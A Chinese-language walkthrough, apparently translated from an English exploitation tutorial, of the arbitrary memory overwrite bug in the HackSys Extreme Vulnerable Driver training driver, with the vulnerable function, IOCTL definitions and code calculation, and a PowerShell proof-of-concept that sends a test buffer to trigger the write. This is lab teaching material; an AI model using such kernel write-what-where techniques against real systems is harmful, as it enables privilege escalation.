返回介绍

侦查挑战

发布于 2025-01-03 23:32:55 字数 7281 浏览 0 评论 0 收藏 0

让我们看一看含有该漏洞的函数( here )。

NTSTATUS TriggerArbitraryOverwrite(IN PWRITE_WHAT_WHERE UserWriteWhatWhere) {
  NTSTATUS Status = STATUS_SUCCESS;
 
  PAGED_CODE();
 
  __try {
    // Verify if the buffer resides in user mode
    ProbeForRead((PVOID)UserWriteWhatWhere,
           sizeof(WRITE_WHAT_WHERE),
           (ULONG)__alignof(WRITE_WHAT_WHERE));
 
    DbgPrint("[+] UserWriteWhatWhere: 0x%p\n", UserWriteWhatWhere);
    DbgPrint("[+] WRITE_WHAT_WHERE Size: 0x%X\n", sizeof(WRITE_WHAT_WHERE));
    DbgPrint("[+] UserWriteWhatWhere->What: 0x%p\n", UserWriteWhatWhere->What);
    DbgPrint("[+] UserWriteWhatWhere->Where: 0x%p\n", UserWriteWhatWhere->Where);
 
#ifdef SECURE
    // Secure Note: This is secure because the developer is properly validating if address
    // pointed by 'Where' and 'What' value resides in User mode by calling ProbeForRead()
    // routine before performing the write operation
    ProbeForRead((PVOID)UserWriteWhatWhere->Where,
           sizeof(PULONG),
           (ULONG)__alignof(PULONG));
    ProbeForRead((PVOID)UserWriteWhatWhere->What,
           sizeof(PULONG),
           (ULONG)__alignof(PULONG));
 
    *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
#else
    DbgPrint("[+] Triggering Arbitrary Overwrite\n");
 
    // Vulnerability Note: This is a vanilla Arbitrary Memory Overwrite vulnerability
    // because the developer is writing the value pointed by 'What' to memory location
    // pointed by 'Where' without properly validating if the values pointed by 'Where'
    // and 'What' resides in User mode
    *(UserWriteWhatWhere->Where) = *(UserWriteWhatWhere->What);
#endif
  }
  __except (EXCEPTION_EXECUTE_HANDLER) {
    Status = GetExceptionCode();
    DbgPrint("[-] Exception Code: 0x%X\n", Status);
  }
 
  return Status;
}

该驱动持有两个指针,一个用于展示驱动将写入内存的值,另一个提供了驱动将要写的位置。同样的,显示了漏洞的同时也显示了安全的实现体。这里的问题在于驱动没有检查目标指针的地址是否在用户空间,因此我们可以用任意 4 字节值覆写任意内核 4 字节地址。

此前我们看到过如何通过分析 IrpDeviceIoCtlHandler 表来获取函数的 IOCTL。这里我们将学习一种不同的方法。驱动头文件 driver header 展示了所有的定义的函数。

#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW          CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW_GS         CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x802, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW           CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT       CTL_CODE(FILE_DEVICE_UNKNOWN, 0x804, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_USE_UAF_OBJECT          CTL_CODE(FILE_DEVICE_UNKNOWN, 0x805, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT         CTL_CODE(FILE_DEVICE_UNKNOWN, 0x806, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT      CTL_CODE(FILE_DEVICE_UNKNOWN, 0x807, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_TYPE_CONFUSION          CTL_CODE(FILE_DEVICE_UNKNOWN, 0x808, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_INTEGER_OVERFLOW        CTL_CODE(FILE_DEVICE_UNKNOWN, 0x809, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80B, 
METHOD_NEITHER, FILE_ANY_ACCESS)
#define HACKSYS_EVD_IOCTL_UNINITIALIZED_HEAP_VARIABLE   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80C, 
METHOD_NEITHER, FILE_ANY_ACCESS)


 

I/O Control Codes (IOCTL's) are composed of a few different components (type, code, method, access). The interesting thing is that the Windows driver kit has a standard macro which can be used to define new IOCTL's. We can actually extract all the valid IOCTL's by emulating the macro functionality as show below.

 

PowerShell v3+:
"{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (FUNC_NUM_HERE -shl 2) -bor 0x00000003)

C++\C#:
(0x00000022 << 16) | (0x00000000 << 14) | (FUNC_NUM_HERE << 2) | 0x00000003

Example:
HACKSYS_EVD_IOCTL_ARBITRARY_OVERWRITE = 0x802
=> "{0:X}" -f $((0x00000022 -shl 16) -bor (0x00000000 -shl 14) -bor (0x802 -shl 2) -bor 0x00000003)
=> IOCTL = 0x22200B

I/O 控制码(IOCTL’s)又一些不同的组件(类型,码值,方法,访问权限)构成。有意思的是 WDK 有一个标准的宏可以用于定义新的 IOCTL。我们实际上可以通过仿真该宏的功能来提取出所有的有效的 IOCTL。

阅读更多关于宏的说明 here 。现在我们有了 IOCTL,让我们使用 IDA 的图形显示板快速的检查一下。

看起来不错,有个稍微让我困惑的事情是函数要如何决定它将要写哪些字节。它不会写你给它的 4 字节,它会把这 4 字节当成一个指针并写入该指针指向的地址处开始的 4 字节值。缓冲区结构如下。

# The first 4 bytes are a pointer to a pointer
[IntPtr]$WriteWhatPtr(->$WriteWhat) + $WriteWhere

记住这一点,如果你简单的指定你的 shellcode 的地址,它实际上会写你的 shellcode 的前 4 个字节。

我快速组织了一个 POC 来测试能否顺利调用这个函数。

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
  
public static class EVD
{
  [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
  public static extern IntPtr CreateFile(
    String lpFileName,
    UInt32 dwDesiredAccess,
    UInt32 dwShareMode,
    IntPtr lpSecurityAttributes,
    UInt32 dwCreationDisposition,
    UInt32 dwFlagsAndAttributes,
    IntPtr hTemplateFile);
  
  [DllImport("Kernel32.dll", SetLastError = true)]
  public static extern bool DeviceIoControl(
    IntPtr hDevice,
    int IoControlCode,
    byte[] InBuffer,
    int nInBufferSize,
    byte[] OutBuffer,
    int nOutBufferSize,
    ref int pBytesReturned,
    IntPtr Overlapped);
  
  [DllImport("kernel32.dll")]
  public static extern uint GetLastError();
}
"@
  
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite,
[System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
  
if ($hDevice -eq -1) {
  echo "`n[!] Unable to get driver handle..`n"
  Return
} else {
  echo "`n[>] Driver information.."
  echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
  echo "[+] Handle: $hDevice"
}
 
# Buffer = WriteWhat + WriteWhere
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x4
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B`n"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero)|Out-null

很好,我们有了 exp 的原型。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文